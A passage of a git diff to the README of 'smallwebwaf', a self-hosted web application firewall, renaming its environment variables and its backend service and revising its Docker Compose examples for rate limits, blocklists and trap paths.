`detect` only logs and alerts it, `off` runs no rule. | -| `SWWAF_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | -| `SWWAF_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | -| `SWWAF_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | -| `SWWAF_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | -| `SWWAF_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | -| `SWWAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | -| `SWWAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | -| `SWWAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | -| `SWWAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | -| `SWWAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | -| `SWWAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | -| `SWWAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | -| `SWWAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | -| `SWWAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | -| `SWWAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | -| `SWWAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | -| `SWWAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | -| `SWWAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | -| `SWWAF_STATE_DIR` | `/var/lib/smallwebwaf` | The directory of the state files, an absolute path. | -| `SWWAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | -| `SWWAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. | -| `SWWAF_LOG_LEVEL` | `info` | The least severe of `servewaf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | -| `SWWAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | -| `SWWAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `servewaf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | -| `SWWAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | -| `SWWAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | -| `SWWAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | -| `SWWAF_LOG_REMOTE_APP_NAME` | `SWWAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | -| `SWWAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | -| `SWWAF_METRICS_TOKEN` | unset | The bearer token for `/_smallwebwaf/metrics`, at least 32 characters; unset, the metrics are off. | -| `SWWAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | -| `SWWAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | -| `SWWAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | -| `SWWAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | -| `SWWAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | -| `SWWAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | -| `SWWAF_ALERT_EVENTS` | `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | -| `SWWAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | -| `SWWAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | -| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when one client's requests carry more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when one client's requests carry more bytes than this in an hour, a size. | -| `SWWAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when the netblock around a client carries more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when the netblock around a client carries more bytes than this in an hour, a size. | -| `SWWAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 32. | -| `SWWAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 128. | -| `SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when one AS number carries more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when one AS number carries more bytes than this in an hour, a size. | -| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when the whole service carries more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when the whole service carries more bytes than this in an hour, a size. | -| `SWWAF_WATCH_NETS` | empty | Named netblocks the `SWWAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | -| `SWWAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | -| `SWWAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | -| `SWWAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when a watched netblock carries more bytes than this in a minute, a size. | -| `SWWAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when a watched netblock carries more bytes than this in an hour, a size. | +| Variable | Default | What it does | +| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. | +| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. | +| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | +| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | +| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | +| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. | +| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | +| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | +| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | +| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | +| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | +| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. | +| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. | +| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | +| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | +| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | +| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. | +| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | +| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | +| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. | +| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | +| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | +| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | +| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | +| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | +| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | +| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | +| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | +| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | +| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | +| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | +| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | +| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | +| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | +| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | +| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | +| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | +| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | +| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | +| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | +| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | +| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | +| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | +| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | +| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). | +| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | +| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. | +| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | +| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | +| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | +| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | +| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | +| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | +| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | +| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | +| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | +| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | +| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | +| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | +| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | +| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | +| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | +| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | +| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | +| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | +| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | +| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | +| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | +| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | +| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | +| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. | +| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | +| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | +| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | +| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | +| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | +| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | +| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | +| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | +| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | +| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | +| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | +| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | +| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | +| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | +| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | +| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | +| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | +| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | +| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | +| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | +| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. | +| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. | +| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | +| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | +| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. | +| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. | +| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. | +| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. | +| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | +| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | +| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. | +| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. | +| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | +| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | +| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. | +| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. | +| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | +| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | +| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | +| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. | +| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. | [`docs/settings.md`](docs/settings.md) gives the values each setting takes in full, and the limits that are fixed rather than settings. @@ -338,14 +346,13 @@ full, and the limits that are fixed rather than settings. Each example is a complete `compose.yaml`. `smallwebwaf` is the tag `make docker` gives the image; on another host, use the name you pushed it under, by digest. Docker Compose puts the services on a private network of its -own, where each reaches the others by service name. Only "In front of gitea" -uses traefik. The other three publish `rproxy`'s port on the host, for trying it -out. +own, where each reaches the others by service name. Each example publishes +`rproxy`'s port on the host, for trying it out. ### Smallest setup -One app, `rproxy` in front of it, and `servewaf` with a volume for its state -files, every setting at its default. +One app, `rproxy` in front of it, and `discriminator` with a volume for its +state files, every setting at its default. ```yaml services: @@ -356,20 +363,20 @@ services: rproxy: image: smallwebwaf environment: - SWRP_WAF_BACKEND: http://servewaf:8080 + SWRP_WAF_BACKEND: http://discriminator:8080 SWRP_UPSTREAM_URL: http://app:8081 ports: - "8080:8080" - servewaf: + discriminator: image: smallwebwaf environment: - SMALLWEBWAF_COMMAND: servewaf + SWW_COMMAND: discriminator volumes: - - servewaf-state:/var/lib/smallwebwaf + - discriminator-state:/var/lib/sww volumes: - servewaf-state: + discriminator-state: ``` ### Custom per-address limits @@ -392,128 +399,45 @@ services: rproxy: image: smallwebwaf environment: - SWRP_WAF_BACKEND: http://servewaf:8080 + SWRP_WAF_BACKEND: http://discriminator:8080 SWRP_UPSTREAM_URL: http://app:8081 ports: - "8080:8080" - servewaf: + discriminator: image: smallwebwaf environment: - SMALLWEBWAF_COMMAND: servewaf + SWW_COMMAND: discriminator # Monitoring skips every check. - SWWAF_ALLOW_NETS: 192.0.2.10 + SWW_ALLOW_NETS: 192.0.2.10 # The office and the automation host are never rate limited. - SWWAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7 + SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7 # A netblock that sends nothing wanted. - SWWAF_DENY_NETS: 198.51.100.128/25 + SWW_DENY_NETS: 198.51.100.128/25 # Tighter limits for everyone else: a small static site. - SWWAF_RATE_LIMIT_PER_MINUTE: "60" - SWWAF_RATE_LIMIT_PER_HOUR: "600" - SWWAF_RATE_LIMIT_PER_DAY: "3000" + SWW_RATE_LIMIT_PER_MINUTE: "60" + SWW_RATE_LIMIT_PER_HOUR: "600" + SWW_RATE_LIMIT_PER_DAY: "3000" # Hosting networks and one country get a share of those limits. - SWWAF_ASN_LIMIT_PERCENT: AS14061:50,AS16276:25 - SWWAF_COUNTRY_LIMIT_PERCENT: cn:25 + SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25 # Paths only scanners ask for; one request bans the client. - SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php + SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php # Answer a refused client with 429 rather than 403. - SWWAF_BAN_RESPONSE: "429" - SWWAF_LIMIT_BAN_DURATION: 30m + SWW_BAN_RESPONSE: "429" + SWW_LIMIT_BAN_DURATION: 30m volumes: - - servewaf-state:/var/lib/smallwebwaf + - discriminator-state:/var/lib/sww volumes: - servewaf-state: + discriminator-state: ``` -### In front of gitea - -gitea behind traefik, set up for a code forge: - -- the upload limits raised, in size and in time; -- the response size limit raised, for clones over 1 GiB; -- the Actions runners exempt from counting; -- the default request and byte limits kept. - -`traefik` is the network traefik is on, made outside this file. - -```yaml -services: - gitea: - # gitea 1.27.3, 2026-08-29 - image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef - environment: - GITEA__server__ROOT_URL: https://git.example/ - # The host and the port of the SSH clone URLs gitea shows. - GITEA__server__SSH_DOMAIN: git.example - GITEA__server__SSH_PORT: "2222" - # gitea's TCP peer is rproxy, on the private network. - GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - volumes: - - gitea-data:/data - networks: - - site - ports: - # SSH does not pass through smallwebwaf. - - "2222:22" - - rproxy: - image: smallwebwaf - environment: - SWRP_WAF_BACKEND: http://servewaf:8080 - SWRP_UPSTREAM_URL: http://gitea:3000 - # Pushes, LFS objects and image layers over 100 MiB, or slower - # than a minute, are cut off at the defaults. - SWRP_MAX_REQUEST_SIZE: 2G - SWRP_MAX_REQUEST_TIME_MS: "600000" - # A clone larger than 1 GiB is cut off at the default. - SWRP_MAX_RESPONSE_SIZE: 4G - networks: - - site - - traefik - labels: - traefik.enable: "true" - # rproxy is on two networks; traefik reaches it on this one. - traefik.docker.network: traefik - traefik.http.routers.git.rule: Host(`git.example`) - traefik.http.routers.git.entrypoints: websecure - traefik.http.routers.git.tls.certresolver: letsencrypt - traefik.http.services.git.loadbalancer.server.port: "8080" - - servewaf: - image: smallwebwaf - environment: - SMALLWEBWAF_COMMAND: servewaf - SWWAF_INSTANCE_NAME: fsn1/servewaf - # The Actions runners ask for work all day; never count them. - SWWAF_RATE_LIMIT_EXEMPT_NETS: 10.0.4.0/24 - # gitea never serves these; a request for one bans the client. - SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php,/wp-admin/ - volumes: - - servewaf-state:/var/lib/smallwebwaf - networks: - - site - -networks: - site: - traefik: - external: true - -volumes: - gitea-data: - servewaf-state: -``` - -`deploy/gitea` holds a complete setup of gitea, traefik included, as a Docker -Compose file. [`docs/gitea.md`](docs/gitea.md) explains it, and records what the -defaults do in front of gitea, request by request. - ### `rproxy` beside the app The app is built on the `smallwebwaf` image, with `rproxy` inside its container. `app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's -container". `rproxy` answers `503` to every request while `servewaf` is down, -and `servewaf`: +container". `rproxy` answers `503` to every request while `discriminator` is +down, and `discriminator`: - observes before it enforces; - looks addresses up in a local database rather than GeoJS; @@ -526,46 +450,46 @@ services: # A Dockerfile built FROM the smallwebwaf image, with rproxy inside. build: ./app environment: - SWRP_WAF_BACKEND: http://servewaf:8080 - # Answer 503 rather than pass a request on while servewaf is down. + SWRP_WAF_BACKEND: http://discriminator:8080 + # Answer 503 rather than pass a request on while discriminator is down. SWRP_DEFAULT_DISPOSITION: deny ports: - "8080:8080" - servewaf: + discriminator: image: smallwebwaf environment: - SMALLWEBWAF_COMMAND: servewaf - SWWAF_INSTANCE_NAME: fsn1/servewaf + SWW_COMMAND: discriminator + SWW_INSTANCE_NAME: fsn1/discriminator # Refuse nothing yet; 